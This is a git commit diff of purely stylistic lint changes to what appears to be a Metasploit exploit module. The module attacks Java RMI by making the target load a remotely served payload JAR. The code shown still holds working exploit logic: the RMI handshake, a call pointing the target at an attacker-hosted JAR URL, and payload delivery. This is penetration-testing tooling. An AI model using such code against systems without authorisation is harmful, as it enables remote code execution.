Mass rubocop changes

This commit is contained in:
Spencer McIntyre
2025-12-17 17:11:13 -05:00
parent d4b196b309
commit 602adeb4c5
237 changed files with 4505 additions and 4446 deletions
+24 -26
View File
@@ -56,28 +56,28 @@ class MetasploitModule < Msf::Exploit::Remote
'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Arch' => ARCH_X86
}
],
[
'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Arch' => ARCH_X86
}
],
[
'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
'Arch' => ARCH_PPC
}
],
[
'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Arch' => ARCH_X86
}
]
],
@@ -97,38 +97,36 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, re-raise
# RuntimeError so it won't wait the full wfs_delay
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
rescue Msf::Exploit::Failed
# When the server stops due primer failing, re-raise
# RuntimeError so it won't wait the full wfs_delays
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
# When the primer fails due to an error connecting with
# the rhost, re-raise RuntimeError so it won't wait the
# full wfs_delays
raise ::RuntimeError, e.message
end
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, re-raise
# RuntimeError so it won't wait the full wfs_delay
raise "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
rescue Msf::Exploit::Failed
# When the server stops due primer failing, re-raise
# RuntimeError so it won't wait the full wfs_delays
raise "Exploit aborted due to failure #{fail_reason} #{(fail_detail || 'No reason given')}"
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
# When the primer fails due to an error connecting with
# the rhost, re-raise RuntimeError so it won't wait the
# full wfs_delays
raise e.message.to_s
end
def primer
connect
print_status("Sending RMI Header...")
print_status('Sending RMI Header...')
send_header
ack = recv_protocol_ack
if ack.nil?
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
end
jar = rand_text_alpha(rand(8) + 1) + '.jar'
jar = rand_text_alpha(rand(1..8)) + '.jar'
new_url = get_uri + '/' + jar
print_status("Sending RMI Call...")
print_status('Sending RMI Call...')
dgc_interface_hash = calculate_interface_hash(
[
{
@@ -179,8 +177,8 @@ class MetasploitModule < Msf::Exploit::Remote
p = regenerate_payload(cli)
jar = p.encoded_jar
paths = [
[ "metasploit", "RMILoader.class" ],
[ "metasploit", "RMIPayload.class" ],
[ 'metasploit', 'RMILoader.class' ],
[ 'metasploit', 'RMIPayload.class' ],
]
jar.add_file('metasploit/', '') # create metasploit dir
@@ -197,7 +195,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Pragma' => 'no-cache'
})
print_status("Replied to request for payload JAR")
print_status('Replied to request for payload JAR')
cleanup_service
end
end